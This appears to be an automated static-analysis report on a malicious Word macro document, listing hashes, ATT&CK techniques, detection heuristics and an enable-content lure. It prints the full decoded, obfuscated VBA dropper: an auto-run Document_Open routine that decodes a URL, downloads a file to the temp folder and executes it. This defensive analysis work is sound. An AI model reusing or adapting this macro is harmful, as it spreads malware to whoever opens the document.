Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 02573882a47405e1…

MALICIOUS

Office (OLE)

70.0 KB Created: 2018-10-30 11:30:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: ee3c65995e1a013d72e4534733d0df5b SHA-1: dcc9aeca89170631b8aa9d9b967ecc4a2d3a4f27 SHA-256: 02573882a47405e13e121297f8429ec5dbca440c25c421bb599d393ba722d6db
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open macro that uses CreateObject to download and save a file to disk, as indicated by the OLE_VBA_HTTP_DROP_EXEC heuristic. The document body explicitly instructs the user to 'Enable content to view clear document before printing', serving as a lure. The downloaded payload is likely malicious, as suggested by the critical ClamAV detection and the overall behavior.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ¶¦£¹¾¸¥§§¨¥¯½®µ«»ª¨¦«´ª¹¡¤ª²¤©¡µ¥¥®º¥¸¿§½§¿®³¥¦ª°¡¼¥¹½º®«£º»¯¨«¶¿¥¸¬¿¹£³³²µ¤¨¤¾©©°³´·©°¥®¶¸«¶¹¯¨µ = ¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢¾«¤½¦¼¤·©.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢¾«¤½¦¼¤·© = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¾·¢¿£¤½³¼µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¹¹¦¡·¨´¨¶¯²¯¨«¡ª´ = Environ("tmp") + ¬°²·ª¹¤¶¦£¹¾¸¥§§¨¥¯½®µ«»ª¨¦«´ª¹¡¤ª²¤©¡µ¥¥®º¥¸¿§½§¿®³¥¦ª°¡¼¥¹½º®«£º»¯¨«¶¿¥¸¬¿¹£³³²µ¤¨¤¾©©°³("\N§KKâWKVá.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8948 bytes
SHA-256: dddf9b3c6de4ee48262f16bd5b9d15c9880e06226b2f8b6e13110d1ccd74fc6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function ¬°²·ª¹¤¶¦£¹¾¸¥§§¨¥¯½®µ«»ª¨¦«´ª¹¡¤ª²¤©¡µ¥¥®º¥¸¿§½§¿®³¥¦ª°¡¼¥¹½º®«£º»¯¨«¶¿¥¸¬¿¹£³³²µ¤¨¤¾©©°³(´¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢)
        ¦°´²¸¬¤°²·ª¬µ¶¦¢¹¾¸¤§§¨¥®©¥µª«¢§¦ªµ©¹¸£ª³¤©¡¶¥¥¬¬´¹¯²½²¿¥³¥¦©²¡½´º½»®££º»¯°«¶¿´¸« = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
        §®¶³´³µ¤¨¤¾¡©°³´¡¾°¬¹·¡¼¶°¹¿µµ£«µ¬¥´§³¦£¼¶´°»¹¨µ«¨ª£¢¸ªª¤²¢¯¦¶®¢¥«·¼½¼¿¶²¶§°°º¼¾¹§²£ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(´¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢)
            ¬¸º©¸»¬¦·¾·¢¿£¤½³¼µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¹¹¦¡·¨´¨¶¯²¯ = InStr(¦°´²¸¬¤°²·ª¬µ¶¦¢¹¾¸¤§§¨¥®©¥µª«¢§¦ªµ©¹¸£ª³¤©¡¶¥¥¬¬´¹¯²½²¿¥³¥¦©²¡½´º½»®££º»¯°«¶¿´¸«, Mid(´¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢, i, 1))
            If ¬¸º©¸»¬¦·¾·¢¿£¤½³¼µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¹¹¦¡·¨´¨¶¯²¯ > 0 Then
                ¨«¡ª´¦°´²¸¬¤°²·ª¬µ¶¦¢¹¾¸¤§§¨¥®©¥µª«¢§¦ªµ©¹¸£ª³¤©¡¶¥¥¬¬´¹¯²½¾£¸¿¸·³¾¼¥¿©¥§¡ºº¨§¢¼²¬£¯ª°¶¡¬¿¿¾®¹µ¹¤¼´ = Mid(§®¶³´³µ¤¨¤¾¡©°³´¡¾°¬¹·¡¼¶°¹¿µµ£«µ¬¥´§³¦£¼¶´°»¹¨µ«¨ª£¢¸ªª¤²¢¯¦¶®¢¥«·¼½¼¿¶²¶§°°º¼¾¹§²£, ¬¸º©¸»¬¦·¾·¢¿£¤½³¼µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¹¹¦¡·¨´¨¶¯²¯, 1)
                ½¿¯¼¤½°©«¼¦¬½©£®®º²®°¸¯µ¿·º¦®¯½§©µ®²µ³¹»«²³¸¾»£·¬¡»·°«¦¦¦¤¬¾¬¶½½¨¦¥©¶¾º°ª©´ª¨°·«¤«»¤º¹¥¿¦¯ = ½¿¯¼¤½°©«¼¦¬½©£®®º²®°¸¯µ¿·º¦®¯½§©µ®²µ³¹»«²³¸¾»£·¬¡»·°«¦¦¦¤¬¾¬¶½½¨¦¥©¶¾º°ª©´ª¨°·«¤«»¤º¹¥¿¦¯ + ¨«¡ª´¦°´²¸¬¤°²·ª¬µ¶¦¢¹¾¸¤§§¨¥®©¥µª«¢§¦ªµ©¹¸£ª³¤©¡¶¥¥¬¬´¹¯²½¾£¸¿¸·³¾¼¥¿©¥§¡ºº¨§¢¼²¬£¯ª°¶¡¬¿¿¾®¹µ¹¤¼´
            Else
                ½¿¯¼¤½°©«¼¦¬½©£®®º²®°¸¯µ¿·º¦®¯½§©µ®²µ³¹»«²³¸¾»£·¬¡»·°«¦¦¦¤¬¾¬¶½½¨¦¥©¶¾º°ª©´ª¨°·«¤«»¤º¹¥¿¦¯ = ½¿¯¼¤½°©«¼¦¬½©£®®º²®°¸¯µ¿·º¦®¯½§©µ®²µ³¹»«²³¸¾»£·¬¡»·°«¦¦¦¤¬¾¬¶½½¨¦¥©¶¾º°ª©´ª¨°·«¤«»¤º¹¥¿¦¯ + Mid(´¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢, i, 1)
            End If
        Next
        ¬°²·ª¹¤¶¦£¹¾¸¥§§¨¥¯½®µ«»ª¨¦«´ª¹¡¤ª²¤©¡µ¥¥®º¥¸¿§½§¿®³¥¦ª°¡¼¥¹½º®«£º»¯¨«¶¿¥¸¬¿¹£³³²µ¤¨¤¾©©°³ = ½¿¯¼¤½°©«¼¦¬½©£®®º²®°¸¯µ¿·º¦®¯½§©µ®²µ³¹»«²³¸¾»£·¬¡»·°«¦¦¦¤¬¾¬¶½½¨¦¥©¶¾º°ª©´ª¨°·«¤«»¤º¹¥¿¦¯
    End Function

Private Sub Document_Open()
Dim ¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢¾«¤½¦¼¤·©
Set ¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢¾«¤½¦¼¤·© = CreateObject("microsoft.xmlhttp")
Dim ¾·¢¿£¤½³¼µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¹¹¦¡·¨´¨¶¯²¯¨«¡ª´
Dim ¬·®¹»¤«¬¾¥§·«³·µ»½©´µº¯½¡¹«²¼¹³©¤¤¥¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹ª¢©½¢¼»£¯¤¬©¶©£§µ³¯¢½¸¶½¨°½¶¼
Set ¬·®¹»¤«¬¾¥§·«³·µ»½©´µº¯½¡¹«²¼¹³©¤¤¥¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹ª¢©½¢¼»£¯¤¬©¶©£§µ³¯¢½¸¶½¨°½¶¼ = CreateObject("Shell.Application")

¾·¢¿£¤½³¼µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¹¹¦¡·¨´¨¶¯²¯¨«¡ª´ = Environ("tmp") + ¬°²·ª¹¤¶¦£¹¾¸¥§§¨¥¯½®µ«»ª¨¦«´ª¹¡¤ª²¤©¡µ¥¥®º¥¸¿§½§¿®³¥¦ª°¡¼¥¹½º®«£º»¯¨«¶¿¥¸¬¿¹£³³²µ¤¨¤¾©©°³("\N§KKâWKVá.ÂÛÂ")
¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢¾«¤½¦¼¤·©.Open "GET", ¬°²·ª¹¤¶¦£¹¾¸¥§§¨¥¯½®µ«»ª¨¦«´ª¹¡¤ª²¤©¡µ¥¥®º¥¸¿§½§¿®³¥¦ª°¡¼¥¹½º®«£º»¯¨«¶¿¥¸¬¿¹£³³²µ¤¨¤¾©©°³("hÖÖÓÕ://www.ÖhÂmÂÛÒÅÂÒÅlÄÅÂ.mÂ/ÖÄmÀÁk/RT456475888Ü8Ü98Ühvhh657467hvkÃF¥ÚFKHMVVHVáHáVVMVáã7ÖÄ7Ö4ÄÔgÕÂjgÛÔdgdhdÖÃ1ã448F.ÂÛÂ"), False
¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢¾«¤½¦¼¤·©.send
¶¦£¹¾¸¥§§¨¥¯½®µ«»ª¨¦«´ª¹¡¤ª²¤©¡µ¥¥®º¥¸¿§½§¿®³¥¦ª°¡¼¥¹½º®«£º»¯¨«¶¿¥¸¬¿¹£³³²µ¤¨¤¾©©°³´·©°¥®¶¸«¶¹¯¨µ = ¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢¾«¤½¦¼¤·©.responseBody
If ¢½¨¬¹¢¡¼£°¹¿¤µ£«µ¬®´¨³¦¤¼£´¡»¹¨µ«¾¼¬¢·«¼¬²¢¿¯µ®ª¦¬·¼¼»¾£²¶§°°º¼½¹§²£¬¸¹©¸º¬¯¶¾¢¢¾«¤½¦¼¤·©.Status = 200 Then
Set ¶¯¦¢¡µ«¯³´¨¤¸¼¶¦©¨©§¿«§³¬¬£©¨¬³«·¶¥¬°¥«£´§§¯¯²·¾°¼¡½§°¦¨«¡£»²¸»¹¯¥¤¹¹¿¢®µ½³¶®©¿´° = CreateObject("adodb.stream")
¶¯¦¢¡µ«¯³´¨¤¸¼¶¦©¨©§¿«§³¬¬£©¨¬³«·¶¥¬°¥«£´§§¯¯²·¾°¼¡½§°¦¨«¡£»²¸»¹¯¥¤¹¹¿¢®µ½³¶®©¿´°.Open
¶¯¦¢¡µ«¯³´¨¤¸¼¶¦©¨©§¿«§³¬¬£©¨¬³«·¶¥¬°¥«£´§§¯¯²·¾°¼¡½§°¦¨«¡£»²¸»¹¯¥¤¹¹¿¢®µ½³¶®©¿´°.Type = 1
¶¯¦¢¡µ«¯³´¨¤¸¼¶¦©¨©§¿«§³¬¬£©¨¬³«·¶¥¬°¥«£´§§¯¯²·¾°¼¡½§°¦¨«¡£»²¸»¹¯¥¤¹¹¿¢®µ½³¶®©¿´°.Write ¶¦£¹¾¸¥§§¨¥¯½®µ«»ª¨¦«´ª¹¡¤ª²¤©¡µ¥¥®º¥¸¿§½§¿®³¥¦ª°¡¼¥¹½º®«£º»¯¨«¶¿¥¸¬¿¹£³³²µ¤¨¤¾©©°³´·©°¥®¶¸«¶¹¯¨µ
¶¯¦¢¡µ«¯³´¨¤¸¼¶¦©¨©§¿«§³¬¬£©¨¬³«·¶¥¬°¥«£´§§¯¯²·¾°¼¡½§°¦¨«¡£»²¸»¹¯¥¤¹¹¿¢®µ½³¶®©¿´°.SaveToFile ¾·¢¿£¤½³¼µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¹¹¦¡·¨´¨¶¯²¯¨«¡ª´, 2
¶¯¦¢¡µ«¯³´¨¤¸¼¶¦©¨©§¿«§³¬¬£©¨¬³«·¶¥¬°¥«£´§§¯¯²·¾°¼¡½§°¦¨«¡£»²¸»¹¯¥¤¹¹¿¢®µ½³¶®©¿´°.Close
End If
¬·®¹»¤«¬¾¥§·«³·µ»½©´µº¯½¡¹«²¼¹³©¤¤¥¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹ª¢©½¢¼»£¯¤¬©¶©£§µ³¯¢½¸¶½¨°½¶¼.Open (¾·¢¿£¤½³¼µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¹¹¦¡·¨´¨¶¯²¯¨«¡ª´)


End Sub

Attribute VB_Name = "NewMacros"
Sub Banjer()
'
' Banjer Macro
'
'

End Sub